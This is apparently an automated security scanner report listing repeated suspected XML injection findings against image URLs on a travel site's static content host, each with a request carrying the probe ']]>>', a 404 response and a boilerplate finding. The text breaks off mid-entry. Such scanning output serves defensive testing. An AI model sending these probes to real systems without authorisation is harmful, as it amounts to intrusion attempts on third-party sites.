GET /static/images/hotel/details]]>>/car_icon.jpg?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535948 Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/car_icon.jpg]]>>?ver=222796 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:13 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:13 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-bottom-curved-corners-with-opaque-gradient.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:20 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-bottom-curved-corners-with-opaque-gradient.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:23 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-bottom-curved-corners-with-opaque-gradient.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:27 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-bottom-curved-corners-with-opaque-gradient.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:31 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-bottom-curved-corners-with-opaque-gradient.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:33 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:33 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-bottom-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-bottom-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-bottom-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:04 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-bottom-curved-corners.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535993 Date: Mon, 03 Oct 2011 01:02:07 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-bottom-curved-corners.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-bottom-gradient-for-details-sections.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:24 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-bottom-gradient-for-details-sections.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535974 Date: Mon, 03 Oct 2011 01:02:30 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-bottom-gradient-for-details-sections.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:34 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-bottom-gradient-for-details-sections.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:38 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details/img-bottom-gradient-for-details-sections.png]]>>?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Expires: Mon, 03 Oct 2011 01:02:40 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:40 GMT Content-Length: 1422 Connection: close Vary: Accept-Encoding
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/hotel/details/img-gradient-opaque-price-info-module.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535984 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/hotel/details/img-gradient-opaque-price-info-module.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel]]>>/details/img-gradient-opaque-price-info-module.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/hotel/details]]>>/img-gradient-opaque-price-info-module.png?ver=218159 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
